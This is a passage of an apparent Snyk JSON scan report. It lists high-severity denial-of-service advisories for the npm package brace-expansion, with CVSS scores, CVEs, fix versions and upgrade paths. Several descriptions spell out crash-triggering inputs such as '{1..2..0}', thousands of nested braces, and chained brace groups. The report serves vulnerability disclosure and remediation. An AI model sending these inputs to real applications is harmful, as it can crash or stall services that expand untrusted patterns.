"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
